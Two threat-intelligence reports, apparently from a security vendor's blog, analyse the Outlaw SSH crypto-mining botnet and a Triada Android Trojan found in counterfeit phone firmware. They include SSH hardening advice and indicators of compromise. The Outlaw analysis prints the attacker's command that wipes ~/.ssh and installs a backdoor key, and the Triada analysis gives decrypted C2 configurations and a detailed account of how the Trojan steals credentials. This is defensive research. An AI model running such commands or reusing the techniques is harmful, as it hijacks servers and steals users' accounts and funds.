Read More 

Introduction

In a recent incident response case in Brazil, we dealt with a relatively simple, yet very effective threat focused on Linux environments. Outlaw (also known as “Dota”) is a Perl-based crypto mining botnet that typically takes advantage of weak or default SSH credentials for its operations. Previous research ([1], [2]) described Outlaw samples obtained from honeypots. In this article, we provide details from a real incident contained by Kaspersky, as well as publicly available telemetry data about the countries and territories most frequently targeted by the threat actor. Finally, we provide TTPs and best practices that security practitioners can adopt to protect their infrastructures against this type of threat.

Analysis

We started the analysis by gathering relevant evidence from a compromised Linux system. We identified an odd authorized SSH key for a user called
suporte (in a Portuguese-speaking environment, this is an account typically used for administrative tasks in the operating system). Such accounts are often configured to have the same username as the password, which is a bad practice, making it easy for the attackers to exploit them. The authorized key belonged to a remote Linux machine user called
mdrfckr, a string found in Dota campaigns, which raised our suspicion.

Suspicious authorized key

After the initial SSH compromise, the threat actor downloads the first-stage script,
tddwrt7s.sh, using utilities like
wget or
curl. This artifact is responsible for downloading the
dota.tar.gz file from the attackers’ server. Below is the sequence of commands performed by the attacker to obtain and decompress this file, which is rather typical of them. It is interesting to note that the adversary uses both of the previously mentioned utilities to try to download the artifact, since the system may not have one or another.

Chain of commands used by the attackers to download and decompress dota.tar.gz

After the decompression, a hidden directory, named
“.configrc5”, was created in the user’s home directory with the following structure:

.configrc5 directory structure

Interestingly enough, one of the first execution steps is checking if other known miners are present on the machine using the script
a/init0. If any miners are found, the script tries to kill and block their execution. One reason for this is to avoid possible overuse of the RAM and CPU on the target machine.

Routine for killing and blocking known miners

The script also monitors running processes, identifies any that use 40% or more CPU by executing the command
ps axf –o “pid %cpu”, and for each such process, checks its command line
(/proc/$procid/cmdline) for keywords like
“kswapd0”, “tsm”, “rsync”, “tor”, “httpd”, “blitz”, or
“mass” using the
grep command. If none of these keywords are found (
grep doesn’t return zero), the process is forcefully killed with the
kill –9 command; otherwise, the script prints
“don’t kill”, effectively whitelisting Outlaw’s known or expected high-CPU processes, so it doesn’t accidentally kill them.

Processes checks performed by the threat

After the process checks and killing are done, the
b/run file is executed, which is responsible for maintaining persistence on the infected machine and executing next-stage malware from its code. For persistence purposes, the attackers used the following command to wipe the existing SSH setup, create a clean
.ssh folder, add a new public key for SSH access, and lock down permissions.

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh

The next-stage malware is a Base64-encoded string inside the b/run script that, once decoded, reveals another level of obfuscation: this time an obfuscated Perl script. Interestingly, the attackers left a comment generated by the obfuscator (perlobfuscator.com) in place.

Obfuscated Perl script

We were able to easily deobfuscate the code using an open-source script available on the same website as used by the attackers (https://perlobfuscator.com/decode-stunnix-5.17.1.pl), which led us to the original source code containing a few words in Portuguese.

Deobfuscated Perl script

This Perl script is an IRC-based botnet client that acts as a backdoor on a compromised system. Upon execution, it disguises itself as an
rsync process, creates a copy of itself in the background, and ignores termination signals. By default, it connects to a hardcoded IRC server over port 443 using randomly generated nicknames, joining predefined channels to await commands from designated administrators. The bot supports a range of malicious features including command execution, DDoS attacks, port scans, file download, and upload via HTTP. This provides the attackers with a wide range of capabilities to command and control the botnet.

XMRig miner

Another file from the hidden directory,
a/kswapd0, is an ELF packed using UPX, as shown in the image below. We were able to easily unpack the binary for analysis.

kswapd0 identification and unpacking

By querying the hash on threat intelligence portals and by statically analyzing the sample, it became clear that this binary is a malicious modified version of XMRig (6.19.0), a cryptocurrency miner.

XMRig version

We also found a configuration file embedded in the binary. This file contains the attacker’s mining information. In our scenario, the configuration was set up to mine Monero using the CPU only, with both OpenCL and CUDA (for GPU mining) disabled. The miner runs in the background, configured for high CPU usage. It also connects to multiple mining pools, including one accessible via Tor, which explains the presence of Tor files inside the
.configrc5/a directory. The image below shows an excerpt from this configuration file.

XMRig custom configuration

Victims

Through telemetry data collected from public feeds, we have identified victims of the Outlaw gang mainly in the United States, but also in Germany, Italy, Thailand, Singapore, Taiwan, Canada and Brazil, as shown in the chart below.

Countries and territories where Outlaw is most active< (download)

The following chart shows the distribution of recent victims. We can see that the group was idle from December 2024 through February 2025, then a spike in the number of victims was observed in March 2025.

Number of Outlaw victims by month, September 2024–March 2025 (download)

Recommendations

Since Outlaw exploits weak or default SSH passwords, we recommend that system administrators adopt a proactive approach to hardening their servers. This can be achieved through custom server configurations and by keeping services up to date. Even simple practices, such as using key-based authentication, can be highly effective. However, the
/etc/ssh/sshd_config file allows for the use of several additional parameters to improve security. Some general configurations include:

• Port <custom_port_number>: changes the default SSH port to reduce exposure to automated scans.
• Protocol 2: enforces the use of the more secure protocol version.
• PermitRootLogin no: disables direct login as the root user.
• MaxAuthTries <integer>: limits the number of authentication attempts per session.
• LoginGraceTime <time>: defines the amount of time allowed to complete the login process (in seconds unless specified otherwise).
• PasswordAuthentication no: disables password-based login.
• PermitEmptyPasswords no: prevents login with empty passwords.
• X11Forwarding no: disables X11 forwarding (used for running graphical applications remotely).
• PermitUserEnvironment no: prevents users from passing environment variables.
• Banner /etc/ssh/custom_banner: customizes the system login banner.

Consider disabling unused authentication protocols:

• ChallengeResponseAuthentication no
• KerberosAuthentication no
• GSSAPIAuthentication no

Disable tunneling options to prevent misuse of the SSH tunnel feature:

• AllowAgentForwarding no
• AllowTcpForwarding no
• PermitTunnel no

You can limit SSH access to specific IPs or networks using the AllowUsers directive:

• AllowUsers *@10.10.10.217
• AllowUsers *@192.168.0.0/24

Enable public key authentication with:

• PubkeyAuthentication yes

Set parameters to automatically disconnect idle sessions:

• ClientAliveInterval <time>
• ClientAliveCountMax <integer>

The following configuration file serves as a template for hardening the SSH service:

Protocol 2
Port 2222

LoginGraceTime 10
PermitRootLogin no
MaxAuthTries 3
IgnoreRhosts yes
PubkeyAuthentication yes
PasswordAuthentication no
PermitEmptyPasswords no

UsePAM yes
ChallengeResponseAuthentication no
KerberosAuthentication no
GSSAPIAuthentication no

AllowAgentForwarding no
AllowTcpForwarding no
X11Forwarding no
PrintMotd no
PrintLastLog yes
PermitUserEnvironment no
ClientAliveInterval 300
ClientAliveCountMax 2
PermitTunnel no

Banner /etc/ssh/custom_banner
AllowUsers *@10.10.10.217

While outside
sshd_config, pairing your config with tools like Fail2Ban or firewalld rate limiting adds another solid layer of protection against brute force.

Conclusion

By focusing on weak or default SSH credentials, Outlaw keeps improving and broadening its Linux-focused toolkit. The group uses a range of evasion strategies, such as concealing files and folders or obfuscated programs, and uses compromised SSH keys to keep access for as long as possible. The IRC-based botnet client facilitates a wide range of harmful operations, such as command execution, flooding, and scanning, while the deployment of customized XMRig miners can divert processing resources to cryptocurrency mining. By hardening SSH configurations (for instance, turning off password authentication), keeping an eye out for questionable processes, and limiting SSH access to trustworthy users and networks, system administrators can greatly lessen this hazard.

Tactics, techniques and procedures

Below are the Outlaw TTPs identified from our malware analysis.

Indicators of Compromise

• 15f7c9af535f4390b14ba03ddb990c732212dde8 (a)
• 982c0318414c3fdf82e3726c4ef4e9021751bbd9 (init0)
• f2b4bc2244ea8596a2a2a041308aa75088b6bbd5 (kswapd0)
• 4d5838c760238b77d792c99e64bd962e73e28435 (run)
• d0ba24f9fad04720dff79f146769d0d8120bf2ff (decoded Perl script)
• 45[.]9[.]148[.]99 (Attacker’s C2)
• 483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS (Monero wallet)

Read More 

Introduction

Older versions of Android contained various vulnerabilities that allowed gaining root access to the device. Many malicious programs exploited these to elevate their system privileges and gain persistence. The notorious Triada Trojan also used this attack vector. With time, the vulnerabilities were patched, and restrictions were added to the firmware. Specifically, system partitions in recent Android versions cannot be edited, even with superuser privileges. Ironically, this has inadvertently benefited malicious actors. While external malware now faces greater permission restrictions, pre-installed malware within system partitions has become impossible to remove. Attackers are leveraging this by embedding malicious software into Android device firmware. This is how one of our earlier findings, the Dwphon loader, functioned. It was built into system apps for over-the-air (OTA) updates. In March 2025, our research highlighted the Triada Trojan’s evolved tactics to overcome Android’s enhanced privilege restrictions. Attackers are now embedding a sophisticated multi-stage loader directly into device firmware. This allows the Trojan to infect the Zygote process, thereby compromising every application running on the system.

Key takeaways:

• We discovered new versions of the Triada Trojan on devices whose firmware was infected even before they were available for sale. These were imitations of popular smartphone brands, and they remained available from various online marketplaces at the time of our research.
• A copy of the Trojan infiltrates every application launched on an infected device. The modular architecture of the malware gives attackers virtually unlimited control over the system, enabling them to tailor functionality to specific applications.
• In the current version of Triada, the payloads we have analyzed exhibit several malicious behaviors depending on the host application. Specifically, they can modify cryptocurrency wallet addresses during transfer attempts, replace links in browsers, send arbitrary text messages and intercept replies, and steal login credentials for messaging and social media apps.

The complete infection chain looks like this:

Triada Trojan infection chain

Kaspersky products detect the new version of Triada as
Backdoor.AndroidOS.Triada.z..

System framework with a malicious dependency

Our initial investigation focused on native libraries included in the firmware of several devices, located in:

• /system/framework/arm/binder.so
• /system/framework/arm64/binder.so

The file is not present in a reference Android version. We discovered that the suspicious library was loaded into Zygote, the parent process for every Android application, by an infected AOT-compiled Android system framework (
boot–framework.oat) located in the same directory.

Malicious dependency in boot-framework.oat

The
binder.so library registers a native method, println_native, for the android.util.Log class, used by applications installed on the device to write messages to Logcat. The implementation of this method calls a suspicious function, _config_log_println.

Call to the suspicious function

The _config_log_println function then calls two other functions that deploy three modules, contained in the
rodata section of the malicious library, into every process launched on the device. One of the functions runs every time, while the other one only runs if the Android OS on the device is Version 9 or earlier.

Execution of the two malicious functions

Let us take a closer look at the modules that these launch.

1. Auxiliary module

This module from the
rodata section of the malicious library is written to the application’s internal
data directory under the name systemlibarm64_%N%.jar, where N is a random number.

Loading the auxiliary module

The auxiliary module registers a receiver that can load arbitrary code files, although we did not see this happen in the cases described below. We would later call this module auxiliary because other payloads relied on it to perform their malicious functions. For example, for the com.android.core.info.config.JvmCore class from this module,
binder.so registers native methods that can intercept calls to arbitrary methods within the process where the malware is running.

2. The mms-core.jar backdoor

This module undergoes a double XOR decryption process with different keys pulled from the
rodata section of the malicious library. After decryption, it is saved to disk as /data/data/%PACKAGE%/mms-core.jar and then loaded using DexClassLoader. Once the loading is complete, the payload file is deleted.

Loading the backdoor

This
mms–core.jar is a new iteration of a backdoor we mentioned in our earlier reports. In contrast to past versions, which exploited and modified system files to load itself into Zygote, the malware now achieves reliable Zygote access by leveraging a compromised system framework. Similar to previous versions, the backdoor downloads and executes other payloads.

3. Crypto stealer or dropper?

Immediately upon starting, the
binder.so library reads the file /proc/%PID%/cmdline, with %PID% representing the system process ID. This is how the Trojan determines the package name of a running app.

Package name check

Based on the package name,
binder.so loads either a crypto stealer loader (if the application is cryptocurrency-related) or a dropper from the rodata section. Neither payload is encrypted.

Triada crypto stealer

In previous Triada versions we analyzed, cryptocurrency applications were immediately infected with a crypto stealer. However, in these latest samples, the malicious module is a loader specifically targeting apps with the following package names:

com.binance.dev
com.wrx.wazirx
com.coinex.trade.play
com.okinc.okex.gp
pro.huobi
com.kubi.kucoin

The entry point for this malicious loader is the onCreate method within the com.hwsen.abc.SDK class. In latest versions this module requests a configuration from a GitHub repository. Using a pseudo-random number generator, the sample selects a number (0, 1, or 2), each corresponding to a specific repository address.

Loading the configuration

All field values within the configuration are encrypted using AES-128 in ECB mode and then encoded with Base64. An example of a decrypted configuration is shown below:

{
    addr: {
        durl: https://app-file.b-cdn[.]net/poctest/pc2215202501061400.zip,
        durl2: https://app-file.b-cdn[.]net/poctest/pc2215202501061400.zip,
        durl3: https://app-file.b-cdn[.]net/poctest/pc2215202501061400.zip,
        ver: 17,
        vname: pc2215202501061400.zip,
        online: true,
        rom: true,
        update: true,
        pkg: com.android.system.watchdog.x.Main,
        method: onCreate,
        param: t
    }
}

If
online equals true, the loader downloads a payload from the URL specified in the
durl field. If errors occur, it uses
durl2 and
durl3 as backup links. The downloaded payload is decrypted using XOR with a hardcoded key and saved to the application’s internal
data directory under the name specified in the
vname parameter. The
pkg and
method fields represent the class name and method, respectively, that will be called after the crypto stealer is loaded via DexClassLoader.

The downloaded payload attempts to steal the victim’s cryptocurrency using various methods. For example, it monitors running activities at preset intervals. This allows the Trojan to intercept attempts at withdrawing cryptocurrency and replace the victim’s crypto wallet addresses in the relevant text fields with addresses belonging to the attackers. To achieve this, the malware runs a depth-first search for all graphical sub-elements within the current frame, identifying the blockchain to which the funds are being sent. The Trojan then swaps the crypto wallet address with a hardcoded one and replaces the click handlers of all buttons in the application with a proxy handler that swaps the crypto wallet address again, ensuring the attackers can steal the funds. Interestingly, the crypto stealer also replaces image elements with generated QR codes containing attacker-controlled wallet addresses.

Text and image replacement

The Trojan also monitors the clipboard contents and, if it finds a crypto wallet address, it gets replaced with an address belonging to the attackers.

Clipboard hijacking

Dropper

If the
binder.so library happens to run in an app unrelated to cryptocurrency, it downloads a different payload. This is a dropper that calls the onCreate method within the com.system.framework.api.vp2130.services class. Depending on the version, it can extract up to three Base64-encoded additional modules from its own contents.

• The dropper loads a com.android.packageinstaller.apiv21.ApiV21 class from the first module inside the system APK installer app. This class registers a receiver that allows other modules to install arbitrary APKs on the device and also uninstall any apps.

Malicious receiver

Beginning with Android 13, apps from untrusted sources are restricted from accessing sensitive permissions, such as those for accessibility services. To bypass these restrictions for sideloaded apps, the receiver installs them through an installation session in newer Android versions.

• The com.system.framework.audio.Audio class is loaded from the second module to block network connections. Depending on the system architecture, it decodes and loads a native helper library. This library uses the xhook library to intercept calls to the getaddrinfo and android_getaddrinfofornet functions. These functions handle communication with the dnsproxyd service in Android, which performs DNS requests using a client-server model. If the attackers have sent a command to block a specific domain, its name is replaced by a hook redirecting to 127.0.0.1, making access to the original domain impossible.

Intercepting the dnsproxyd communications functions

Thus, the malware can block requests to anti-fraud services unless they use a custom DNS implementation.

• The com.system.framework.api.init.services class is also loaded from the third module to download arbitrary payloads. For this purpose, the malware periodically transmits a wealth of device information (MAC address, model, CPU, manufacturer, IMEI, IMSI, etc.), along with the host application name and version, to its command-and-control server. Before being sent, the data is encrypted using AES-128 in CBC mode and then encoded with Base64. The C2 responds with a JSON file containing information about the payload, also encrypted with AES-128 in CBC mode. The infected device receives the key and initialization vector (IV) RSA-encrypted from the C2 within the same JSON.

Decoding, loading, and running the payload

For convenience, we will refer to this module as the Triada backdoor going forward. It is this module that holds the greatest interest for our research, as it provides the malware with a wide range of capabilities. A closer look at the Triada threat actor’s objectives yielded a somewhat surprising result. Whereas previous malicious samples mainly displayed ads and signed users up for paid subscriptions, the attackers’ priorities have now drastically changed.

What Triada downloads

To understand exactly how the attackers’ priorities have shifted, we decided to try downloading the payloads for various popular apps. We observed that the
binder.so malicious library passes a flag to the dropper upon starting if the application’s name is on a list within its code. This list included both system apps and popular apps from official stores.

Some apps from binder.so

This list served as the starting point for our investigation. For all the listed applications, we sent requests to the malware C2, and some of them returned links to download payloads. As an example, this is the response we received from the Trojan after requesting a payload for Telegram:

{
    a: 0,
    b: 40E315FB00M8EP2G49008INIK7000002,
    c: 1373225559,
    d: [{
            a: 72,
            b: http://ompe2.7u6h8[.]xyz/tgzip/44a08dc22b45b9418ed427fd24c192c6.zip,
            c: com.tgenter.tmain.Engine,
            d: start,
            e: 32,
            f: 44a08dc22b45b9418ed427fd24c192c6,
            g: https://mp2y3.sm20j[.]xyz/tgzip/44a08dc22b45b9418ed427fd24c192c6.zip
        }, {
            a: 127,
            b: http://ompe2.7u6h8[.]xyz/tgzip/tgnetuser/online/37fd87f46e95f431b1977d8c5741d2d5.zip,
            c: com.androidx.tlttl.tg.CkUtils,
            d: init,
            e: 7,
            f: 37fd87f46e95f431b1977d8c5741d2d5,
            g: https://mp2y3.sm20j[.]xyz/tgzip/tgnetuser/online/37fd87f46e95f431b1977d8c5741d2d5.zip
        }
    ],
    e: 245,
    g: [com.instagram.android],
    h: org.telegram.messenger.web,org.telegram.messenger,com.whatsapp.w4b,com.fmwhatsapp,com.gbwhatsapp,com.yowhatsapp,com.facebook.lite,com.facebook.orca,com.facebook.mlite,com.skype.raider,com.zhiliaoapp.musically,com.obwhatsapp,com.ob3whatsapp,com.ob2whatsapp,com.jtwhatsapp,com.linkedin.android,com.zhiliaoapp.musically.go,com.opera.browser.afin,com.heytap.browser,com.sec.android.app.sbrowser,org.mozilla.firefox,com.microsoft.emmx,com.microsoft.emmx.canary,com.opera.browser
}

The payload information from the C2 server was received as an array of objects, with each containing two download URLs (primary and backup), the MD5 hash of the file to download, the module’s entry point details, and its ID. After downloading, the modules were decrypted twice using XOR with different keys.

Triada decrypting the payload

In addition to this, the response from the C2 contained other package names. By using these, we were able to obtain various further payloads.

It should be noted that according to the Android security model, unprivileged users do not normally have access to certain application data. However, as mentioned earlier, the malware is loaded by the Zygote process, which allows it to bypass OS restrictions because each payload runs within the process of the app it targets. This means the modules can obtain any application data, and the attackers actively exploit this in subsequent stages of infection. Furthermore, each additional malware payload can use all the permissions available to the app.

During module analysis, we also noted the significant skill of the Triada creators: each payload is tailored to the target app’s characteristics. Let us see which modules the Trojan loaded into some popular Android apps.

Telegram modules

For the Telegram messaging app, the Triada backdoor downloaded two modules at the time of this research. The first module (b8a745bdc0e083ffc88a524c7f465140) launches a malicious task within the messaging app’s context once every 24 hours. We believe that the attackers thoroughly examined Telegram’s internal workings before coding this task.

Malicious task code

Initially, the malicious task tries to obtain the victim’s account details. To do this, the module reads a string associated with the
user key from the key-value pairs saved using SharedPreferences in the app settings XML file named
userconfig. The string contains Base64-encoded serialized data about the Telegram user, which the messaging client code deserializes to communicate with the API. The malware takes advantage of this: Triada tries several reflection-based methods to read the user data.

Deserializing victim account details

The malware sends the following user information to the C2 server if it has not done so previously:

• A serialized string containing the victim’s account details.
• The victim’s phone number.
• The contents of the
  tgnet.dat file from the application’s
  data directory.
  This file stores Telegram authentication data including the user’s token, which allows the attackers to gain complete control over the victim’s account.
• The string with
  id=1 from the
  params table in the
  cache4.db database.

This payload also contains unused code for displaying ads.

The second module (fce117a9d7c8c73e5f56bda7437bdb28) uses Base64 to decode and then execute another payload (8f0e5f86046faed1d06bca7d3e48c0b8). This payload registers its own observer for new Telegram messages, which checks their content. If the message text matches regular expressions received by the Trojan from the C2 server, the message is deleted from the client. This module also attempts to delete Telegram notifications about new sessions.

Filtering messages based on content

Additionally, the malware tries to initiate a conversation with a bot that was no longer there at the time of our research.

Initiating communication with an unknown bot

Instagram module

This module (3f887477091e67c6aaca15bce622f485) starts by requesting the device’s advertising ID from Google Play services, which it then uses as the victim ID. After that, a malicious task runs once every 24 hours, sequentially scanning all XML files used by SharedPreferences until it finds the first file whose name begins with
UserCookiePrefsFile_. This file contains the cookies for active Instagram sessions, and intercepting these sessions allows the attackers to take over the victim’s account. The task also collects all files ending in
batch from the
analytics directory inside
data.

The malware reading the internal files

These files, along with information about the infected device, are encoded in Base64 and sent to the C2 server.

Browser module

This module (98ece45e75f93c5089411972f9655b97) is loaded into the browsers with the following package names:

• com.android.chrome
• org.mozilla.firefox
• com.microsoft.emmx
• com.microsoft.emmx.canary
• com.heytap.browser
• com.opera.browser
• com.sec.android.app.sbrowser
• com.chrome.beta

First, it establishes a connection with the C2 server over TCP sockets. Then, using the RSA algorithm, it encrypts an IV and key concatenation for AES-128 in CBC mode. The Trojan uses AES to encrypt the information about the infected device and then combines it with the key and IV into a single large buffer, which it sends to the TCP socket.

Code snippet for C2 communication

The C2 server responds with a buffer encrypted with the same parameters as the request it received from the infected device. The response contains a task to periodically substitute links opened in the browser. An example of this task is shown below.

{
    a: 0,
    b: 1,
    c: 65,
    d: {
        a: 17,
        b: https://stas.a691[.]com/,
        c: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23],
        d: 2880
    }
}

The link replacement works as follows. The module first checks the version and name of the browser that it is running in to register hooks for the methods that the browser uses for opening links.

Launching browser-specific functionality

We noted earlier that in the initial stages, the Trojan downloaded an auxiliary module that implements its functionality to intercept arbitrary methods. The browser module utilizes this to interfere with the process of opening pages in various browsers.

Using the auxiliary module

In addition, the malware uses reflection to replace the Instrumentation class instance for the app. The execStartActivity method, which launches app activities, is replaced in the proxy class.

Malicious call in the Instrumentation proxy class

In Android, application activities are launched by broadcasting an intent with a specific action. If the application has an activity with an intent filter that declares the ability to handle the action, Android will launch it. When an application opens a link in a browser, it creates and sends an Intent instance with the action android.intent.action.VIEW, including the URI to be opened. Triada substitutes the URI in the received Intent instance.

Replacing the link in the Intent instance

In the samples we analyzed, the C2 server sent links to advertising resources. However, we believe that the malware creators could also use this functionality for, say, phishing.

WhatsApp modules

For WhatsApp, the Trojan’s C2 server would provide two modules. One of these (d5bc1298e436424086cb52508fb104b1) runs a malicious task within the WhatsApp client’s context every five minutes. This task reads various keys essential for the client’s operation, as well as data about the active session.

The Trojan reading WhatsApp login credentials

This data, along with information about the victim’s device, is forwarded to the C2 server, giving the attackers complete access to the victim’s WhatsApp account.

The other module (dc731e55a552caed84d04627e96906d5) starts by intercepting WhatsApp client functions that send and receive messages. The threat actor employed an interesting technique to work around class name obfuscation in WhatsApp code. The module’s code contains the names of the class and method being intercepted, specific to different WhatsApp versions. This likely required the attackers to manually analyze how each version worked. It is worth noting too that if the module’s code lacks the class names for the specific client version, the malware can request an interception configuration from the attackers’ C2 server.

If the interception is successful, the module continues its operation by sending data about the infected device to the C2 server and receiving a TCP socket IP address in response. Commands are then transmitted through this socket, allowing the malware to perform the following actions:

• Send arbitrary WhatsApp messages.
• Delete sent messages on the device to cover its tracks.
• Close the connection.

Snippet of the command handler

LINE module

This module (1d582e2517905b853ec9ebfe77759d15) runs inside the LINE messaging app. First, the malware gathers information about the infected device and sends it to the C2 server. Subsequently, every 30 seconds, it collects internal app data, specifically the
PROFILE_AUTH_KEY and
PROFILE_MID values from the
settings table in the
naver_line database. The malicious module also obtains the
User–Agent string and additional information to mimic HTTP requests as if they were coming from the messaging client itself. Additionally, the malware decrypts the user’s phone number and region from the
naver_line database and uses reflection to obtain the application’s access token, which allows it to take over the victim’s account.

Obtaining an access token

The module sends the data it collects to the C2 server.

Collecting and sending data

Skype module

This module (b87706f7fcb21f3a4dfdd2865b2fa733) runs a malicious task every two minutes that attempts to send information about the infected device to the C2. Once the C2 accepts the request, the task stops, and the Trojan begins reading internal Skype files every hour. Initially, the module tries to extract a token that allows access to the Skype account from the React Native framework keychain.

Triada extracting a token from the keychain

Failing to obtain the token through this method, the malware then tries to locate it within WebView cookies.

Extracting a token from the cookies

This token is then sent to the Trojan’s C2 server, thus compromising the victim’s account.

The versions of Triada we have seen contain no payloads for Microsoft Teams or Skype for Business. However, we believe that after Microsoft sunsets Skype, the attackers might add new malicious modules for these apps.

TikTok module

This module (993eb2f8bf8b5c01b30e3044c3bc10a3) sends information about the infected device to the attackers’ server once a day. Additionally, the malware collects a variety of data about the victim’s account. For example, it reads cached TikTok cookies from an internal directory, which might have been used by WebView within the app. The attackers are interested in the
msToken in these cookies, as it is necessary for interacting with the TikTok API. The module also extracts other information from the TikTok client, such as the user ID (
secUID), the
User–Agent for API requests, and more. We believe that the attackers need this data to bypass TikTok API restrictions and simulate a real device when making API requests. Every five minutes, the malicious module attempts to send all data it collects to the attackers’ server.

Stealing TikTok account data

Facebook modules

One of such modules (b187551675a234c3584db4aab2cc83a9) runs a malicious task every minute that compares the parent app package name against the following list:

• com.facebook.lite
• com.facebook.mlite
• com.facebook.orca

If the name matches one of the above, the malware steals the Facebook authentication cookies.

Stealing Facebook credentials

Another module (554f0de0bddf30589482315fe336ea72) sends data about the infected device to the C2. The server responds with a link to be opened in WebView, as well as JavaScript code to execute on the page. The malware can upload certain elements from this page to the C2 server, which potentially could be used by attackers to steal the victim’s account data.

SMS modules

These malicious components are injected into SMS apps. One of them (195e0f334beb34c471352179d422c42f) starts by registering its own proxy receiver for incoming SMS and MMS messages, as well as its own message observer. Following this, the malware retrieves rules from the C2 server, storing these in a separate database. The content of each received message is filtered on the basis of these rules.

Checking message content

The flexibility of these rules enables the malware to respond to specific SMS messages by extracting codes using regular expressions. We believe the Trojan creators primarily use this capability to sign victims up for paid subscriptions. Additionally, the module can send arbitrary SMS messages when instructed by the C2 server.

Interestingly, the module contains unused code snippets that are valuable for analysis — they also function as message filtering rules. Each rule includes a string value that defines its type: an MD5 hash of certain data. The module code contains methods named
matchWhatsapp and
matchRegister that use the same rule type. Analysis of
matchWhatsapp revealed that this malicious component previously could cover other modules’ tracks and delete SMS messages containing verification codes for logging in to the victim’s WhatsApp account. The use of the same rule type suggests that
matchRegister is also employed by the malicious module to conceal its activity, possibly to secretly register accounts. This method is likely obsolete because the malware now supports receiving rules from the C2 server.

Rule for intercepting WhatsApp verification SMS messages

The second module (2ac5414f627f8df2e902fc34a73faf44) is likely an auxiliary component for the first one. The thing is, Android performs a check on the addressee when an SMS is being sent. If the message is being sent to a short code (premium SMS), the user will be prompted to confirm their intention to send. This measure aims to prevent financial losses for device owners encountering SMS Trojans. The SMSDispatcher class in the Android framework checks if the app has permission to send premium SMS messages. To do this, it calls the getPremiumSmsPermission method within the SmsUsageMonitor class, which stores premium SMS sending policies for each application using the SharedPreferences mechanism with the key
premium–sms–policy. The policies are integers that can take the following values:

• 1: User confirmation is required before sending a premium SMS.
• 2: The app is prohibited from sending premium SMS messages.
• 3: Sending premium SMS messages is allowed, and user confirmation is not required.

The malicious module sets the policy value for SMS messaging apps to
3, thereby clearing obstacles for the previous module. Notably, this is an undocumented Android feature, which further highlights the malware authors’ advanced skill level.

Method for overriding premium SMS sending policies

Reverse proxy

As far as we know, this module (3dc21967e6fab9518275960933c90d04), integrates into the Google Play Services app. Immediately upon starting, it transmits information about the infected device to the C2 server. The server responds with an IP address and port, which the malware uses to listen for commands via a modified version of the EasySocket library. The commands are integers that can take three values:

• 1: Establish a connection with an arbitrary TCP endpoint, assigning to it the ID transmitted in the command.
• 2: Terminate the TCP connection with the specified ID.
• 4: Send data over the TCP connection with the specified ID.

Processing received data

Thus, the main purpose of this module is to turn the infected device into a reverse proxy, essentially giving the attackers network access through the victim’s device.

Call interception

This module (a4f16015204db28f5654bb64775d75ad) is injected into the device’s phone app. It registers a malicious receiver that, upon receiving intents, can execute arbitrary JavaScript code using WebView.

Executing arbitrary code via the malicious receiver

The malware provides the JavaScript code with an interface to call certain Java functions. One of these functions takes the victim’s phone number and sends an intent that includes it.

An intent with a phone number

The command number is transmitted in the
type field of the intent. However, the module lacks a handler for this number. We assume that it is implemented in a different payload that we were unable to obtain during our investigation.

We also believe that this module is still under development. For example, similar to the browser module, it replaces the Instrumentation class to substitute the number opened using the android.intent.action.VIEW intent. However, the module lacks number substitution code.

Instrumentation proxy class

We strongly believe the number substitution functionality exists in another version of this module or will be added in the near future.

Clipper

Our data indicates that this module (04e485833e53aceb259198d1fcba7eaf) integrates into the Google Play app. Upon starting, it requests a comma-separated list of attackers’ cryptocurrency wallet addresses from the C2 server. If it cannot get the addresses, the Trojan uses hardcoded ones. After that, the module checks the clipboard every two seconds. If it finds a cryptocurrency wallet address, it replaces it with one controlled by the attackers. Additionally, the malware registers an event handler for clipboard changes, where it also checks and swaps the content.

Clipboard hijacking

Additional module

In our previous report, we described the malicious modules downloaded by the initial Triada backdoor. We decided to check if the list of payloads had changed. Unfortunately, at the time of our research, the backdoor C2 server was not sending links to download additional modules. However, we noticed that the module entry points used a consistent special naming format – we will discuss this in more detail later. This allowed us to find another Triada malware sample in our telemetry. The module is named BrsCookie_1004 (952cc6accc50b75a08bb429fb838bff7), and is designed for stealing Instagram cookies from web browsers.

Stealing cookies

Campaign features

Our analysis of this Trojan revealed several interesting details. For example, it shows similarities to earlier versions of Triada (308e35fb48d98d9e466e4dfd1ba6ee73): these implement the same logic for loading additional modules as the
mms–core.jar backdoor deployed by the infected framework.

Loading modules in older Triada versions

Loading modules in mms-core.jar

Furthermore, lines starting with
PPP appear regularly in the module code.

Creating log entries in an older Triada version

Loading a module in binder.so in a newer Triada version

Functions from the
binder.so malicious library set system properties similar to those in previous Triada versions. These and other similarities lead us to believe that the sample we analyzed is a new version of Triada.

While analyzing the modules, we encountered comments in Chinese, suggesting that the developers are Chinese native speakers. Additionally, one of the C2 servers used by the Triada modules,
g.sxim[.]me, caught our attention. This domain was also used as a C2 server for a module of the Vo1d backdoor, suggesting a potential link to Triada.

Distribution vector

In all known infection cases, the device firmware had a build fingerprint whose last letter differed from officially published firmware fingerprints. Searching for similar fingerprints led us to discussion boards where users complained about counterfeit devices purchased from online stores. It is likely that a stage in the supply chain was compromised, with the vendors in online stores possibly being unaware that they were distributing fake devices infected with Triada.

User complaining about a counterfeit device

Victims

According to KSN telemetry, our security solutions have detected over 4500 infected devices worldwide. The highest numbers of affected users were detected in Russia, the United Kingdom, the Netherlands, Germany, and Brazil. However, the actual number of infected devices could be much higher, given the unusual distribution method described in this article. The diagram below shows the TOP 10 countries with the highest numbers of users attacked between March 13 and April 15, 2025.

TOP 10 countries with the highest numbers of users attacked by Triada, March 13 – April 15, 2025 (download)

